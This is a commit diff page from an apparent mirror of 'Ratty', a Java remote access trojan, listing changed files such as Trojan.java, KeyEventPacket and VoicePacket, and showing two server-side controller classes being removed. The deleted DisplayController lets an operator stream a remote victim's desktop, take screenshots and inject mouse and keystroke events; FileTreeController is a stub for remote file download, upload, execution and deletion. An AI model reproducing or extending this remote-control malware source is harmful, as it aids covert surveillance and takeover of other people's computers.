mirror of https://github.com/LucaBongiorni/Ratty
28 changed files with 341 additions and 366 deletions
-
4Ratty/src/de/sogomn/rat/Ratty.java
-
2Ratty/src/de/sogomn/rat/Trojan.java
-
34Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java
-
18Ratty/src/de/sogomn/rat/packet/AudioPacket.java
-
22Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java
-
24Ratty/src/de/sogomn/rat/packet/CommandPacket.java
-
14Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java
-
10Ratty/src/de/sogomn/rat/packet/DeleteFilePacket.java
-
48Ratty/src/de/sogomn/rat/packet/DesktopPacket.java
-
30Ratty/src/de/sogomn/rat/packet/DownloadFilePacket.java
-
10Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java
-
28Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java
-
10Ratty/src/de/sogomn/rat/packet/FreePacket.java
-
6Ratty/src/de/sogomn/rat/packet/IPacket.java
-
26Ratty/src/de/sogomn/rat/packet/InformationPacket.java
-
14Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java
-
22Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java
-
10Ratty/src/de/sogomn/rat/packet/PopupPacket.java
-
22Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
-
22Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java
-
22Ratty/src/de/sogomn/rat/packet/VoicePacket.java
-
10Ratty/src/de/sogomn/rat/packet/WebsitePacket.java
-
80Ratty/src/de/sogomn/rat/server/gui/DisplayController.java
-
9Ratty/src/de/sogomn/rat/server/gui/FileTree.java
-
46Ratty/src/de/sogomn/rat/server/gui/FileTreeController.java
-
50Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
-
106Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
-
8Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
@ -1,80 +0,0 @@ |
|||
package de.sogomn.rat.server.gui; |
|||
|
|||
import java.awt.image.BufferedImage; |
|||
|
|||
import de.sogomn.rat.packet.DesktopPacket; |
|||
import de.sogomn.rat.packet.IPacket; |
|||
import de.sogomn.rat.packet.KeyEventPacket; |
|||
import de.sogomn.rat.packet.MouseEventPacket; |
|||
import de.sogomn.rat.packet.ScreenshotPacket; |
|||
import de.sogomn.rat.util.FrameEncoder.IFrame; |
|||
|
|||
final class DisplayController implements ISubController { |
|||
|
|||
private ServerClient client; |
|||
|
|||
private DisplayPanel displayPanel; |
|||
|
|||
public DisplayController(final ServerClient client) { |
|||
this.client = client; |
|||
|
|||
displayPanel = new DisplayPanel(); |
|||
|
|||
final String title = client.connection.getAddress(); |
|||
|
|||
displayPanel.addListener(this); |
|||
displayPanel.setTitle(title); |
|||
} |
|||
|
|||
private void handleDesktopPacket(final DesktopPacket packet) { |
|||
final boolean streamingDesktop = client.isStreamingDesktop(); |
|||
|
|||
if (!streamingDesktop) { |
|||
return; |
|||
} |
|||
|
|||
final IFrame[] frames = packet.getFrames(); |
|||
final int screenWidth = packet.getScreenWidth(); |
|||
final int screenHeight = packet.getScreenHeight(); |
|||
final DesktopPacket desktop = new DesktopPacket(); |
|||
|
|||
client.connection.addPacket(desktop); |
|||
displayPanel.showFrames(frames, screenWidth, screenHeight); |
|||
} |
|||
|
|||
@Override |
|||
public void userInput(final String command) { |
|||
if (command == RattyGui.DESKTOP) { |
|||
final DesktopPacket packet = new DesktopPacket(true); |
|||
|
|||
client.connection.addPacket(packet); |
|||
} else if (command == RattyGui.SCREENSHOT) { |
|||
final ScreenshotPacket packet = new ScreenshotPacket(); |
|||
|
|||
client.connection.addPacket(packet); |
|||
} else if (command == DisplayPanel.MOUSE_EVENT) { |
|||
final MouseEventPacket packet = displayPanel.getLastMouseEventPacket(); |
|||
|
|||
client.connection.addPacket(packet); |
|||
} else if (command == DisplayPanel.KEY_EVENT) { |
|||
final KeyEventPacket packet = displayPanel.getLastKeyEventPacket(); |
|||
|
|||
client.connection.addPacket(packet); |
|||
} |
|||
} |
|||
|
|||
@Override |
|||
public void handlePacket(final IPacket packet) { |
|||
if (packet instanceof ScreenshotPacket) { |
|||
final ScreenshotPacket screenshot = (ScreenshotPacket)packet; |
|||
final BufferedImage image = screenshot.getImage(); |
|||
|
|||
displayPanel.showImage(image); |
|||
} else if (packet instanceof DesktopPacket) { |
|||
final DesktopPacket desktop = (DesktopPacket)packet; |
|||
|
|||
handleDesktopPacket(desktop); |
|||
} |
|||
} |
|||
|
|||
} |
@ -1,46 +0,0 @@ |
|||
package de.sogomn.rat.server.gui; |
|||
|
|||
import de.sogomn.rat.packet.IPacket; |
|||
|
|||
final class FileTreeController implements ISubController { |
|||
|
|||
private ServerClient client; |
|||
|
|||
private FileTree fileTree; |
|||
|
|||
public FileTreeController(final ServerClient client) { |
|||
this.client = client; |
|||
|
|||
fileTree = new FileTree(); |
|||
|
|||
final String title = client.connection.getAddress(); |
|||
|
|||
fileTree.addListener(this); |
|||
fileTree.setTitle(title); |
|||
} |
|||
|
|||
@Override |
|||
public void userInput(final String command) { |
|||
if (command == FileTree.REQUEST) { |
|||
//... |
|||
} else if (command == FileTree.DOWNLOAD) { |
|||
//... |
|||
} else if (command == FileTree.UPLOAD) { |
|||
//... |
|||
} else if (command == FileTree.EXECUTE) { |
|||
//... |
|||
} else if (command == FileTree.NEW_FOLDER) { |
|||
//... |
|||
} else if (command == FileTree.DELETE) { |
|||
//... |
|||
} else if (command == RattyGui.FILES) { |
|||
//... |
|||
} |
|||
} |
|||
|
|||
@Override |
|||
public void handlePacket(final IPacket packet) { |
|||
//... |
|||
} |
|||
|
|||
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue